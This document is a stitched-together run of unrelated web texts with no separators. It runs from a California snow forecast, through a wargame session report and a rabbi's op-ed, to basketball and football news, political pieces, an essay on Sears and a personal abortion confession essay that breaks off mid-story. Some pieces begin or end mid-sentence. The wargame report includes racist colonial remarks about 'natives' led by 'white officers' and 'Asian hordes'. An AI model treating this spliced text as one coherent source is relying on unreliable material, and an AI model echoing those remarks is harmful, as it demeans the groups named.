Interesting, the extremely warm Arctic temperatures and record-low sea ice conditions mentioned in the last update have persisted–and once again appear to be linked to the extreme atmospheric blocking episode near Alaska. This so called “Warm Arctic/Cold Continents” pattern has been prominent during a number of recent winters, but has been especially noticeable over the past couple of months as unprecedented warmth has pervaded high Arctic despite the onset of polar night.
Early hints of possible low elevation snow in California
This large-scale atmospheric setup is a near-ideal setup for bringing very cold conditions and lowland snowfall to the Pacific Northwest, even in areas that don’t often see snow near sea level. It’s also reminiscent of the atmospheric circulation regimes that have historically produced Arctic outbreaks and very low elevation snowfall across parts of California in past decades. This sort of pattern, once again, has high “boom or bust” potential–and could ultimately be characterized by 1) rather cold but otherwise inactive weather or 2) very cold but also rather active weather, with frequent bouts of showers with low snow levels. Right now, it appears there will be a pretty good chance of seeing at least 1-2 “low snow” events in NorCal over the next 10 days, and possibly further south as well.
While it’s tough to be specific about prospects for low elevation snowfall in specific regions, it does appear that the potential exists for a prolonged, deep freeze across much of California along with the possibility of some accumulating white stuff in unusual places. Both the ECMWF and GFS ensembles suggest that atmospheric “thicknesses”–a measure of the average temperature of the entire air column above one’s head–will approach levels rarely seen in California (perhaps below 525dm in the 1000-500mb layer). This will most likely bring the possibility of accumulating snow below 1000 feet in elevation in NorCal, and perhaps even close to sea level at some point (especially along the North Coast and across parts of the Sacramento Valley). There are a lot of things that need to come together just right to see snow near sea level anywhere in California, but this is likely to be one of those rare patterns where it may be possible.
Meanwhile, higher mountain areas (including the Sierra Nevada) will likely see quite a bit of light, powdery, low water content snow over the next 10 days or so (great for skiing; not as helpful for California’s water supply). This will be quite the change from recent winters in which significant middle-elevation snow accumulations have been few and far between.
Bigger storms possible out beyond day 10 as cold pattern breaks
Eventually, the blocking ridge over Alaska will break down and the Arctic outbreak over western North America will dissipate. When that happens, the jet stream will likely “undercut” the persistent North Pacific block and deliver a bout of very active weather to the West Coast. At the moment, there is some indication this may happen in the 10-12 day period. But given the complexity of the pattern expected to evolve over the coming week, it’s still too early to discuss the details.
I’ll most likely have another blog update soon if a low elevation snow event appears imminent in California; until then, feel free to follow the Weather West “micro” updates on Twitter.World situation, September 1943:
The African fighting has reached a new equilibrium. The Northern Alliance line used to stretch from the Cameroon Highlands to the Horn of Africa, but the encirclement and destruction of the Army of the Sudan has forced us to retreat well north, into Egypt. We still hold the left bank of the Nile as far south as the Third Cataract; but the Asian hordes stand on the right bank as far north as the First, and hold most of the Red Sea ports. However, after a disaster of such a magnitude as the loss of the Sudan, a standstill, even with a great loss of territory, is something of an accomplishment. For a while we were discussing abandoning Africa entirely and pulling back to the Sinai to hold the Suez by one bank. Now, with reinforcements rapidly shipped in through the Med, we have even managed a modest counterattack:
The armoured spearhead of our manly thrust into the soft, yielding EastAsian line is Norwegian, 4de Panser-Divisjon “Gråbein” to be specific; the follow-on elements are Libyske Korps and some Incan infantry under, obviously, Norwegian officers. Unfortunately, the Indians managed to find some reserves that weren’t militia, which they used to counterattack the base of the penetration; at the moment the direction of 4de Panser’s advance is westwards, back across the Nile, not east to the Red Sea as initially planned. But, as they say in Norway, “new tickets, new chances”; this battle is not yet over, and we have only just begun to fight.
In addition to the Indians’ habit of holding important strategic positions with native militias, my advance was helped by EastAsian logistical difficulties; holding the Red Sea ports is all well and good, but getting any convoys through to them is a different question. Between submarines, carrier strikes from the Suez, the occasional battleship sortie, and lots and lots of bombs and rockets, there’s only a thin trickle of shells feeding the Nile Line’s guns – or so my intelligence analysts assure me. It does seem possible that the naval part of this will be more competently handled this week, with vR back in command; but as I learned to my cost in Cameroon, you can only do so much to keep these Third-World ports open in the face of modern air power.
I have not paid close attention to the various Russian fronts, but just glancing at the world map it seems there is little news; except perhaps in Siberia, the line hasn’t moved. I do recall Oddman saying something about a pocket, so for all I know, EastAsia has suffered a defeat on the scale of the loss of the Army of the Sudan, and hundreds of thousands of conscripted peasants are even now being marched to POW camps in the Ukraine. So, in other words, no news from the northern fronts. The stalemate has led the Indians to open the Arabian Front in an attempt at bypassing the Iranian mountain line and reaching the wine-dark water by the desert-nomad route. Initial success was, however, slowed and then held by a patchwork line of Russian, British, and Norwegian troops, and then reversed by an influx of Incan infantry – who like all natives are quite brave in a primitive sort of way, and certainly good enough to fight Indians when led by white officers. I’ll observe in passing that I’ve seen Indian infantry divisions with more piercing firepower than Incan tanks; whatever one may say about their fondness for militia, there’s nothing wrong with the anti-tank guns issued to Indian regulars, when they finally do reach the front.
There are things in the pipeline that may make a big difference; Churchill observed, concerning a war in another history, that “it is always good to have something in hand for the future”. Then again, the enemy, that dirty dog, he has a plan, too. We’ll see whose is better. The front is nowhere close to anyone’s capital; no industrial heartland is threatened. I think there will be hard fighting for several years.
AdvertisementsThere is a widespread but little-mentioned problem in Judaism today: namely, the derisive dismissal of Reform Jews by the Orthodox and ultra-Orthodox. This often takes the form of slurs and insults. One of the most noxious and oft-repeated of these is the assertion that Reform Jews are not really Jews, but Christians.
As a Reform rabbi with a master’s degree in Christianity, I could argue for hours about why this is wrong, with basic, objective facts. Reform Jews do not, for example, subscribe to the basic tenets of Christianity: that Jesus was the incarnate son of God, come to save sinners from their innate sinfulness, resurrected after his death on the cross. We do not believe that Mary was a virgin, or that she gave birth to the Messiah in the form of Jesus Christ. In short, we do not subscribe to any of the basic tenets of Christian theology. Especially in Israel, where this insult is most prevalent, such facts don’t seem to stem the abuse.
Given the vagaries of Jewish history, it’s not surprising that the term “Christian” became an intrafaith Jewish slur; Jews have a fraught and painful history with Christianity and the church. The Catholic Church was behind the Inquisition and drove the Crusades; Martin Luther, the founder of Protestantism, was viciously anti-Semitic, and supersessionism (the belief that Christianity has fulfilled and replaced Judaism) along with anti-Judaism has been at the root of acts of anti-Semitic violence throughout ancient — and modern — history. In such contexts, calling other Jews “Christians” became a melodramatic way of saying that they were traitors, had abandoned (in action, deed or thought) the Jewish community and had crossed a bright line. People called Spinoza a Christian, along with Isaac Mayer Wise and various Reform rabbis throughout history.
But today, in a world where 50% of American Jews are married to non-Jews (many of whom were raised at least nominally Christian), a world where Vatican II has repudiated the theological bases for anti-Judaism and supersessionism, and a world in which honest (and often difficult) interfaith dialogue is increasingly dynamic and vibrant, calling another Jew a Christian to discredit or demean him is not just wrong — it’s also disingenuous, intellectually irresponsible and theologically lazy. It’s a way of ignoring the beauty — and diversity — of America’s religious landscape (not to mention the whole world), and retreating into an insular, guarded and mean-spirited understanding of what it means to be a Jew, an American or a citizen of a multicultural world.
In the Tosefta, (Sanhedrin 13:2) there’s a debate between Rabbi Eliezer and Rabbi Joshua on whether the World To Come is only for Jews or also for non-Jews. Ultimately, Rabbi Joshua argues that “the righteous of all peoples have a share in the World To Come” — a revolutionary statement that would come to inform how many Jews, regardless of level of observance, saw their non-Jewish neighbors.
One thousand years later, in a world in which anti-Semitism is on the rise and the word “Jew” is being used as a slur, it’s critical that we not fall prey to the old trope of Us vs. Them. When we use language, jokingly or not, about “the goyim” or about “shiksas,” or when we use the word “Christian” as a slur, our language separates us from our friends and neighbors. None of us, as people of faith, can afford that.
Jordie Gerson is a former Hillel campus rabbi who has worked at the Hillels of Yale University and the University of Vermont. Her work has been featured in The Huffington Post, the Harvard Divinity Bulletin, MyJewishLearning.com, Boston Magazine, the magazine Delicious Living and on the website Jewcy.com. Follow her on Facebook
This story "Why Jews Need To Stop Using the Word ‘Christian’ as a Slur" was written by Jordie Gerson.....................................................................................................................................................................................
ALBUQUERQUE, N.M. — Lobos Only MWC Team Left in Latest AP Poll
The New Mexico Lobos keep winning.
As such, they are the last remaining team carrying the Mountain West flag in the latest Associated Press Top 25 poll, coming in on Monday’s poll at No. 15, up from No. 19 last week.
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The 16-2 overall Lobos (3-0 in MWC games) jumped from No. 21 to No. 17 in the USA Today Coaches poll, which does have San Diego State sitting at No. 25.
While UNM coach Steve Alford is happy with his team’s ranking, he was less than pleased with the polls in general on Monday, saying they show a bias against a very good league that had teams beating up on one another in the first two weeks.
“I’m amazed with the rankings,” Alford said. “Just looking at the rankings and we only have one team ranked. To be the third best league in the country (based on the latest RPI rankings) and only have one ranked team is bothersome, it really is.”
EDITOR’S NOTE: To view Monday’s AP and USA Today Coaches polls, CLICK HERE.
UNM is 3-0 in league play and with a win over Colorado State (15-3, 2-1) on Wednesday in the Pit can open up a full two-game advantage on the rest of the nine-team league thanks to remarkable parity in the first two weeks of the league schedule.
Every other team in the league has at least one win and at least one loss.
“Unfortunately when we do what other leagues are doing – beat up on each other – we seem to be penalized more,” Alford said, adding he thinks there are four teams in the MWC that are deserved of being ranked.
UNLV received 32 points in Monday’s AP poll, 61 out of the rankings. Wyoming had 28, San Diego State had 26 and Colorado State 7.
CSU coach Larry Eustachy turned the tables on a Journal reporter, who happens to be one of 65 AP voters, during Monday’s MWC coaches teleconference, asking for an explanation to the polls.
“In this polling,” Eustachy said, “and this has nothing to do with us, but in this polling, maybe you can explain this to me … How do you explain Wichita State’s amount of points in the media polling, and the coaches polling? And Creighton’s?”
Both of those teams are ranked with resumes many coaches in the MWC feel aren’t as strong as many in their league.
“Do teams all of a sudden, once they’re in, they’re in?” Eustachy asked. “And everybody just kind of punches their ticket … or does what a team does week to week mean anything?”
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Eustachy went on, asking if the only way to get voted into the Top 25 would be for some “monumental task” to happen.
Eustachy was asked if he thought his program, one with a 24-game home winning streak but with only one road league win over a winning program in the past three-plus season, needed a “monumental” achievement such as a road win in the Pit to catch the national voter’s attention.
“My point isn’t about us or New Mexico,” Eustachy said. “I think New Mexico is better than they’re ranked. … But does this program desperately need a road win, let alone one against New Mexico? Absolutely.”
VOTERS: UNM was on 63 of 65 AP voters ballots on Monday with a high vote of No. 9 by Dave Borges of the New Haven (Conn.) Register newspaper.
While all of those 63 voters had UNM ranked No. 20 or higher, two voters – Randy Rosetta of the New Orleans Times Picayune website and Percy Allen of the Seattle Times – left UNM off their AP ballots on Monday.
The rest of the league’s teams that received votes seemed to be split among other voters. While several voters had at least two MWC teams on their ballot, only five of 65 voters had three MWC teams on their ballot – Seth Davis of Sports Illustrated; Steve Layman of WTVF-TV in Nashville, Tenn.; Tim Pearrell of the Richmond (Va.) Times-Dispatch; Eric Sprott of the Seneca (S.C.) Daily Journal; and Jim Benson of the Bloomington (Ill.) Pantagraph.
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LOBOS INFIRMARY: The latest Lobos player to come down with the “flu bug,” as Alford called it Monday, is center Alex Kirk.
The 7-foot sophomore from Los Alamos was held out of Monday’s practice on the Pit floor, but the team is optimistic he’ll be ready to play Wednesday night against Colorado State.
On Jan. 19, junior guard Demetrius Walker and walk-on guard Chris Perez were both held out of UNM’s win over Fresno State while hit with the same “flu bug.”
In Wednesday’s overtime road win at Boise State, sophomore point guard Hugh Greenwood spent the 24 hours before the game throwing up, not eating and not sleeping while having an IV inserted in his arm to replenish fluids. Greenwood, thanks to an assist from Dr. Chris McGrew and athletic trainer Nate Burney, played, hit the game-tying basket to force overtime, then scored five of his 15 points.
LOBOS LINKS: Roster | Schedule/Results | Geoff Grammer’s blog
— This article appeared on page D1 of the Albuquerque JournalRome wasn't built in a day.
The old adage is meant to serve as a reminder about the time that it takes to build something truly great. The Eternal City didn't start off as the marvelous city of marble and power that we now know today. It didn't start off as the center of the ancient world, but as a tiny farming village on the banks of the Tiber river.
It's easy to look at something great, such as the Spurs, perhaps the greatest achievement of sustained team success in modern sports, and see only what it is, losing sight of the amount of effort, and time, required to get to that point.
Sure, the path for the Spurs was shorter than the one the Sixers hope to take, jump-started by injuries which placed an already good Spurs team artificially high up in a lottery that had one of the best players of his, or any, generation. Before the game, Popovich joked that, before dinner, "the first thing I say is 'Thank you Timmy', and then I have my dinner."
But what the Sixers are looking to build, through a mix of talent and culture, through hard work and good habits, was visible in the oponents locker room, even if the road to get there is painstakingly long.
The two teams have been linked for a myriad of reasons, including the Sixers investment in big men through two top draft picks. Most notably, it's the link between Sixers head coach Brett Brown and the Spurs, where he served as an assistant coach for 15 seasons, that ties them together.
The two still remain close. According to Popovich, he went on a walk with Brown yesterday, jokingly bemoaning that he "had to listen to [Brown] for an hour and a half."
"Well, I mean, you can probably figure out my answer and just write whatever you want. I'll say I said it, I don't care," Popovich jokingly said when asked what advice he gave to Brown when discussing the Sixers job opening
"He's a mench," Spurs coach Greg Popovich said about Brown before the game. "To go through what he's doing on a day to day basis is obviously beyond difficult. I wouldn't wish it on anybody. But if somebody's got to do it, he's the perfect guy.
"He is one of the most upbeat, positive individuals I've ever been around," Popovich said when describing his former pupil. "He's got great fiber. He's going to wake up every morning, go into work teaching, doing what needs to be done, because he knows what needs to be done to build a program."
Listening to him talk, it sounds almost like the exact same message Brown has been sending since he got here, which should surprise nobody.
"You guys might measure [the season] in wins and losses at times, but that's really got nothing to do with it," Popovich said. "It's building a base in a million different ways, that's got nothing to do with [immediate wins and losses], and he'll be great at it."
Popovich, who went 17-45 after taking over for Bob Hill during the 1996-97 season, described what Brown must be going through as unimaginably difficult.
"I mean, we've been fairly successful, and if we lose two in a row I'm thinking about how to build the confidence of the players back up. That's the truth," Popovich said. "You've got to constantly make sure that you're polishing: like cleanup, paint up, fix up. All the time. It was difficult, and this is like an unimaginable difficulty."
"Locker rooms can get chaotic, training sessions are taken for granted, losing becomes a real illness," Brown said about lessons he learned from Popovich's experience in that 17-45 season. "Lessons like that he shared with me all the time, especially as I'm personally going through trying to rebuild this proud franchise, to get it back to a level of respectability, and beyond."
Is what the Sixers are doing bad for the league, as many pundits, and coaches, have said over the past year?
"I think that to judge and talk about it's good, it's bad, is all psycho babble. It is what it is. Life goes on," Popovich said.
Last offseason, Sam Hinkie talked about acquiring guys with good habits, using Shane Battier as an example.
"We acquired Shane Battier in Houston and didn't have to say ‘Stop doing this and start doing all the million small things that drive winning.'," Hinkie said at the time. "It was like, ‘You've always done that, just do you'."
Greg Popovich, once again, echoed a similar sentiment.
"I don't get up any morning and say 'Geez, what am I going to do to get Timmy to play better, or play hard', Popovich said. "If I have a player that I have to motivate daily I shouldn't have brought him in in the first place. I'm an idiot.
"We do do our work as far as character is concerned. Bringing in the kind of kids that we think have the fiber to want to work every day, that can be coached, that don't mind being criticized, and want to learn," Popovich said about his team building strategy. "And, this will sound really strange, we also look for a sense of humor. A guy that is mature enough to laugh at himself. Because you're on the bus, you're on the plane, you're doing all kinds of stuff, you want to enjoy each other. If a kid doesn't have a sense of humor, no ability to be self-deprecating, it doesn't work as well.
"There's nothing new [in basketball]," Popovich said about his gameplan. "The people that compete the best, and execute the best, at both ends of the floor for more of the 48 minutes, they win."
All of this sounds eerily similar to what Brett Brown has been preaching since he got here last summer, about finding the guys with the right mentality, instilling the right habits in his young kids, and building a coaching and development staff that is world class, so that when the team acquires the talent needed that they are ready to cultivate that talent.
"I think that when we think of depth, you think of talent. And it most definitely is that. But there's mutiple layers beneath the talent where they co-exist. They get along," Brown said about what makes the Spurs tick, even as they sit some of their best players. "They pass the ball better than any NBA team I think I've ever seen. And there's a prideful attention to defense. So it's way deeper than a resume reads, [that] they did this there, or that there. There's a mate-ship, and a chemistry, and a camaraderie, that enables them to take that talent and really maximize it."
The fact that the Sixers are still this barren of talent in year two of Brett Brown's tenure is something that was unexpected, but not something he regrets.
"I didn't know it was going to be like this in year two. Nobody really planned on the draft picks aren't going to play in year two," Brown said before the game. "If I had to do it again I'd do it 50 times out of 50 times. The challenge is still there, the rewards are still there.
"I have to always just remind myself of why I took [the Sixers job], and what's most important," Brown said. "It's development, it's sports science, and it's defense. It's taking the youngest team in the history of the sport, with the least experience, and growing it."
MCW's improved play
The Sixers fell to the Spurs 109-103, with a second half rush falling just short.
Michael Carter-Williams finished the night with 24 points (9-19 from the field), 11 rebounds, and 7 assists, continuing his improved play of late.
"Not feeling, at times, the weight of a city to deliver, and force things too much," Brown said about what's driving Carter-Williams' improved play. "He's been a lot better the last 2 games. At times when he tries to do too much, and the ball's in his hands too long, a lot of times great things don't happen and it results in some turnovers."
"I think my teammates have done a great job of spacing out and letting me have driving lanes, and they're knocking down some shots," Carter-Williams said after the game.
Furkan Aldemir update
Furkan Aldemir is on his way to Philadelphia, leaving Galatasaray without asking for his unpaid salary. Galatasaray will reportedly retain his rights if he returns to play outside of the NBA.
Aldemir then posted a picture of his boarding pass on instagram, with a destination of Philadelphia.
Yahoo Sports reported last week that the Sixers and Aldemir agreed on a 4 year contract, with the first two seasons guaranteed.A Democratic National Committee email exposed by WikiLeaks suggests that CNN gave Hillary Clinton questions ahead of a May interview.
Despite the lack of an email to/from CNN in the WikiLeaks dump, the interview conducted by "New Day" host Chris Cuomo on May 19 follows the questions and talking points in the same order as laid out in the DNC email.
The interview came a few days after an explosion sent EgyptAir MS804 into the Mediterranean Sea, the topic of which was the first to be brought up by Cuomo, both in the email and interview.
A second email exposed by WikiLeaks shows DNC members aggregating questions to ask Donald Trump for an interview with Wolf Blitzer, one that was eventually canceled.
Again, despite a direct email connection to/from CNN, the DNC knew the interview was coming and appears to be in collusion with the network on interview questions, according to the Washington Examiner.As VICE reported on Friday |
term to describe this new strain of conservatism: the “Teavangelicals,” a subject of a recent broadcast by Christian Right journalist David Brody, which, among other things, examined the conservative evangelical roots of major Tea Party leaders. Most recently, a host of organizations closely connected with the Christian Right and “social issues” causes have signed onto the “Cut, Cap and Balance Pledge,” the Tea Party-inspired oath that demands a position on the debt limit vote that is incompatible with any bipartisan negotiations. But this convergence between the two groups goes well beyond coalition politics and reflects a radicalization of conservative evangelical elites that is just as striking as the rise of the Tea Party itself. Indeed, the worldview of many Christian Right leaders has evolved into an understanding of government (at least under secularist management) as a satanic presence that seeks to displace God and the churches through social programs, to practice infanticide and euthanasia, to destroy parental control of children, to reward vice and punish virtue, and to thwart America’s divinely appointed destiny as a redeemer nation fighting for Christ against the world’s many infidels. As an illustration of this phenomenon, it’s worth unpacking a few lines from a recent missive by televangelist James Robison, the convener of two recent meetings of Christian Right leaders in Texas to ponder their role in 2012, and also of a similar session back in 1979 that helped pave the way for Reagan’s conquest of conservative evangelicals. Says Robison: There are moral absolutes. No person’s failure reduces or redefines the standards carved in stone by the finger of God and revealed in His Word. We must find a way to stop judges and courts from misinterpreting the Constitution and writing their own laws. “Activist judges” who have developed and applied protections for abortion rights, non-discrimination, and church-state separation have long been a bugaboo for the Christian Right. But Robison appears to be extending this traditional list of evangelical grievances, adding his blessing to the Tea Party’s objection to the string of Supreme Court decisions that enabled the federal government to enact New Deal programs like Social Security that protect people afflicted by personal “failure” from the consequences of their actions.
They have more impact than just trying to deny the civil rights of GLBT, the reproductive rights of women, and the suppression of religious minorities in the US. They have a global agenda that is as much of a terrorist movement as any religious extremist movement abroad. They support governments that believe in not only persecuting but killing GLBT citizens with money and other resources. They actively support militia’s that kill and maim GLBT citizens and non-believers and work to keep women’s status as property and breeding chattel.
In recent weeks, police have descended on the Harare offices of Gays and Lesbians of Zimbabwe (GALZ), seizing the group’s publications and computers as evidence, they claimed, in an ongoing investigation. The police sought to also arrest staff, but the organization’s lawyer has kept them free for now. The gay rights activist organization is — absurdly — accused of seeking to overthrow President Robert Mugabe’s government and teaching people to commit acts of sodomy. This police activity underscores the effort of the Mugabe-led ZANU-PF ruling political party to incite anti-LGBT hatred in mobilizing its base for elections next year. Mugabe faces a challenge from Prime Minister Morgan Tsvangirayi, who recently adopted a pro-LGBT rights position. In one raid, police forcibly entered GALZ premises and began arresting advocates gathered to discuss the draft constitution under debate. The draft includes anti-gay provisions shaped with help from the US-based Christian right group American Center for Law and Justice (ACLJ) through its Zimbabwe office. The proposed provisions explicitly prohibit homosexuality and, mimicking American efforts, define marriage as between a man and woman. Some activists were injured trying to escape over a security fence armed with an electric razor wire. Those caught — 31 men and 13 women — were arrested, bundled into police vehicles, and kept in filthy cells for what GALZ staffer Miles Rutendo remembers as “a night in hell.” Police beat and stomped on the backs of gay rights advocates forced to lie on the wet floor. One victim passed out and was rushed to the hospital. The physical and mental abuse did not end with their release. In a country where LGBT people suffer brutal harassment, these activists’ sexual preference was exposed to neighbors, families, and workplaces. Their families forced some from their homes. Whether any lose their jobs remains to be seen.
Additional, rallies have been held through out the US that are well within in the boundaries of first amendment free speech rights but definitely fall into the hate speech realm.
Religious broadcaster Pat Robertson and Family Research Council president Tony Perkins topped a full day of speakers at “The America for Jesus 2012” prayer rally. Robertson, a former Republican candidate for president, called the election important, but didn’t mention either major political party or candidate by name. “I don’t care what the ACLU says or any atheists say. This nation belongs to Jesus, and we’re here today to reclaim his sovereignty,” said Robertson, 82, who founded the Christian Coalition and Christian Broadcasting Network, and ran for president in 1988. Organizers plan another prayer rally Oct. 20 in Washington, D.C., two weeks before President Barack Obama faces Republican Mitt Romney in the presidential election. Perkins asked the crowd to pray for elected officials including Obama. “We pray that his eyes will be open to the truth,” Perkins said. A number of event organizers, though, have been vocal critics of the Democratic president. Steve Strang, the influential Pentecostal publisher of Charisma magazine, which was distributed at the rally, recently wrote in a blog post that America is under threat from a “radical homosexual agenda.” He also said Obama “seems to be moving toward some form of European socialism. Speaker Cindy Jacobs has blamed a mysterious Arkansas bird-kill last year on Obama’s repeal of the policy known as “don’t ask, don’t tell,” which allows gays and lesbians to serve openly in the military. Speakers throughout the day condemned abortion, gay marriage and population control as practiced by Planned Parenthood. Christian rock music filled the historic mall as speakers challenged the crowd to overcome the seven deadly sins: pride, greed, lust, envy, gluttony, wrath and slothfulness.
Yup, these are the same folks we’ve been fighting since the 1980s. It’s going to be a continual fight to keep theocracy out of our state, local, and federal government and to stop the hate-filled agendas of these religious extremists.
AdvertisementsLiverpool look set to fend off European interest in centre-back Martin Skrtel by offering the 30-year-old a new three-year contract.
Martin Skrtel, who sees his current contract enter its final year next season, has been offered a new three-year contract, reports claim.
Prompted by rumoured interest from Bundesliga challengers VfL Wolfsburg and Europa League favourites Napoli, Liverpool have moved to tie down one of the most consistent players from their 2014/15 season.
“Club officials realise how crucial it is that the 30-year-old remains at the club, so are moving quickly to put their new terms in front of him.
“Skrtel joined Liverpool in 2008 from Russian side Zenit St Petersburg and has become an important figure within the dressing room.
“His influence will become even more vital next term once MLS-bound skipper Steven Gerrard has left the club – and he has made it clear that he is keen to prolong his stay at Anfield.”
Skrtel has been one of the most prominent figures in Brendan Rodgers’ side this season, clocking 2,700 minutes in the Premier League so far, behind only Jordan Henderson (2,986), Simon Mignolet (2,954) and Raheem Sterling (2,873).
He has won the joint-most aerial duels (3.6), made the most clearances (9.8) and the most blocks (1.1) per league game of any Reds player this term, with his no-nonsense, physical style adding a much-needed bite to the Reds’ back line.
With an average passing accuracy of 90.3 percent, Skrtel also represents Liverpool’s most composed player in possession, keeping things simple and safe.
The Slovak has already ruled out a move to Wolfsburg or Napoli this month, declaring: “I am not leaving anywhere. Not to Wolfsburg nor to Naples.”
Skrtel will be Liverpool’s longest-serving player when Gerrard leaves for Los Angeles, and the 30-year-old has a good chance of taking up the captain or vice-captain’s role from next season – as Jordan Henderson‘s deputy, or as out-and-out first-choice leader.
[interaction id=”554613b6971cf64f065365ba”]
Statistics via WhoScored.
Should Martin Skrtel be offered an official leadership role at Liverpool next season? Let us know in the comments below.For minutes at a time, there is no human presence. No customers admiring an ancient Nordic Track (on sale for $399.99, down from $799.99), no salesmen trying to close a deal on patio furniture. Finally a goateed young man sipping a Mountain Dew enters through a door leading to the parking lot. He doesn’t break stride while zipping past a sad little fountain on his way through the store, out into the mall proper.
Sears is still among the pillars of the MOA, a three-story department store with a corner location. There since the mall’s opening weekend in 1992, Sears joins Macy’s and Nordstrom as the shopping landmark’s “anchor stores.”
If this Sears is anchoring anything, it’s a ghost ship. In the apparently self-service shoe section, piles of tried-on and rejected footwear linger next to shelves.
A young couple conspicuously inspecting a mattress goes unnoticed. The mattress is on closeout: Once $4,439.99, it was marked down to $1,264.40. Then that number was crossed out with a marker, and $1,130.40 hand-written underneath.
On the positively spooky third floor, one clearance shelf holds airbrush pens, mismatched plastic cups, and each of the following: a “one-second slicer,” a ceramic Santa, kitchen “cleaning tonic,” a dinner plate... and a receipt, for $5.99, left there by someone who’d bought two large fry orders from the food court Burger King. Ten days earlier.
There’s something almost tragic about seeing a once-gleaming commercial landmark in a state of atrophy.
And here, of all places, at the American mecca of capitalism — not far from where Richard Sears, a railroad man based out of Redwood Falls, bought his first box of watches in 1886 and tried selling them off to his fellow station agents. Good luck to anyone trying to buy a watch at the Mall of America Sears; there’s no one at the counter.
How did this happen? By design.
Back in 2005, Sears was merged with Kmart, its larger competitor, to create Sears Holdings Corporation. The new mega-conglomerate was headed by Eddie Lampert, a former Goldman Sachs whiz kid who, at 26, started his own firm. At ESL (Lampert’s initials), the investor’s cold, cynical approach made him few friends — and a few billion dollars. Lampert had famously been labeled “the next Warren Buffet,” and was once declared the richest man in all of blue-blooded Connecticut.
Lampert’s move to middle-brow retail was a curious one: a Wall Street recluse, trying to teach Sears how to beat Home Depot.
A dozen years later, it’s clear Lampert saw just another investment he could wring dry.
Sears’ decay was foreshadowed in a 2007 letter, when Lampert told investors the company wouldn’t “upgrade our existing [stores] just because our competitors do.” (Lampert once dismissed better lighting, which explains why every Kmart feels like a frog tank.)
From 2005 through 2009, Sears spent far less than competitors on its stores, about 1 percent of company earnings, less than a third of Target’s 3.5 percent, and easily the lowest among 13 major American retailers.
Sears focused on what Lampert knows: stocks, spending an obscene $6 billion on buy-backs to goose the ticker price. Needless to say, this did little to make the Mall of America Sears any more inviting.
Or profitable. In an annual SEC filing made public last month, Sears Holdings disclosed there is “substantial doubt” about Sears “as a going concern.” That’s investor-speak for, “Looks like this ghost ship’s finally going down.”
In late March, days after that filing went public, Lampert bought even more Sears stock, and the company’s second-biggest shareholder also boosted his investment. Combined, the two now have about three-quarters of Sears Holdings.
Do they have a secret plan to sell more Joe Boxer shirts?
Don’t bet on it. Lampert is strip-mining Sears for available assets. The decent bits can be sold: In January, the Craftsman Tools brand went for $900 million.
The good stuff, Lampert can keep for himself. That means real estate. A spin-off trust called Seritage Growth Properties (controlling investor: one Eddie Lampert) bought 235 of Sears’ best properties in 2015. That is, Lampert’s company sold stores to Lampert’s trust, which is leasing them back to the company.
He’s also on both sides of recent debt deals. ESL has floated Sears more than $1 billion in secured loans. Lampert’s investment fund is collecting interest (!) on that debt, and if (more like when) Sears goes bankrupt, he’ll get his money back first — before, for example, Sears pays out the $2 billion worth of pensions it owes.
In other words, Lampert’s doing what guys like him do. He bet big, and tried making money multiply without spending any. Before his bet lost, he hedged. Lampert will come out just fine.
We can’t say the same for the 175,000 or so Sears Holdings employees, who should follow their bosses’ lead: Stop stocking shelves, and start getting your finances in order.
Interested buyers can make an offer to buy or lease any of Sears’ or Kmart’s 1,700-some stores through the Sears Holdings real estate website, which promises “a portfolio of retail locations second to none.” Those include 30 store sites in Minnesota, including the three-story museum gathering dust at the Mall of America.
Someone should make an offer. They could at least do the decent thing and turn off the lights.
More from Mike Mullen:BERLIN (AP) — All of Germany's six submarines are out of action, and the country's defense minister isn't happy about it.
A German submarine during in NATO's Dynamic Mongoose anti-submarine exercise in the North Sea off the coast of Norway, May 4, 2015 REUTERS/Balazs Koranyi
BERLIN (AP) — All of Germany's six submarines are out of action, and the country's defense minister isn't happy about it.
The Kieler Nachrichten newspaper reports that four U-boats are being serviced in boatyards while two others are waiting for a berth.
Asked how Defense Minister Ursula von der Leyen views the temporary loss of the underwater fleet, her spokesman said Friday that "this is obviously not a good situation."
Jens Flosdorff told reporters in Berlin that "we would hope the mission readiness was higher, but sometimes with technology the devil is in the detail."
U-boats became the pride of the German navy in World War I, when the Kaiser's submarines dealt several heavy blows to the British navy.I have a confession to make.
Actually, I had a confession to make. But it’s taken me a quarter of a century to get on my knees in front of a priest at my local Roman Catholic church.
You see, I had an abortion, actually two. One as a university student, a second in my late 20s.
I’ve thought about confession many, many times. Even more so now that my mom, who would rather die than face my mortal sins, has, in fact, been dead seven years.
I have, yes, felt guilt about committing what the religion my mother practised so faithfully considers murder — worthy of excommunication and eternal damnation. It’s the shadow that follows me. And it manifests in so many ways: perfectionism, hyper-criticism, bouts of low self-esteem.
I have wrestled equally with admitting my sins. There may be no place in heaven for me, without confession. But how could I be viewed a good person here on Earth if I share them?
I fear being judged; I’m equally tired of judging myself.
But this fall, Pope Francis announced the Extraordinary Jubilee of Mercy. He decreed that, starting this week until Nov. 20, 2016, all priests would have the power to absolve penitents of the sin of abortion.
And so I returned to church. The same church — my church — where I spent virtually every Sunday morning until I left home for university.
***
The tiny light above the door of the confessional is red. Occupied. So I sit in one of the chairs lined up outside.
I have not rehearsed what I will say. I know how to start, those opening words drilled into my brain over 14 years of Catholic school, where we used to make confession in the gym, a priest and a kneeler in each corner.
But I’m too nervous to plan any more. Instead, I make small talk with the woman who insists on sitting right beside me, her large husband pressed beside her and she is pressed into me. This way I can’t flee before the light changes to green, and it’s my turn.
Then the light does change, and I begin.
“Bless me, Father, for I have sinned, it has been 25 years since my last confession … ”
“Whoa, whoa, whoa,” the priest interrupts me softly.
“It’s a big one,” I say.
And, before I lose my nerve, I blurt out just one word: “Abortion.”
There is a huge inhalation of breath on the other side of the kneeler blocking my view of him.
I have shocked him. The reaction I had feared. My tears start to flow and I’m sorry I’ve put my gum into the tissue I brought.
“I know in September the Pope decreed that the church will forgive abortions next week. I don’t know if I’ve come too early,” I stutter. “Or too late.”
The priest pushes a box of Kleenex around over to my side.
“No, no, no,” he says.
I tell him the story.
I was in university. My father, who had no more than a Grade 3 education, didn’t see much point in that — surely I’d end up a secretary. He certainly hadn’t saved any money for my schooling. But I crammed courses and managed to work my last semester of high school.
I was in the middle of being the first person in my family to get a post-secondary education, and the first woman to prove I was worthy, when I fell in love. I got pregnant.
I had already hoped that we would marry — maybe not so soon but how else were we to handle this terribly unexpected event? The boy did not even offer.
His parents, I knew, had also got pregnant in their final year at the same university. They had married. And they seemed happy enough to me. But the boy told me they were not. They would have lived different lives if they could.
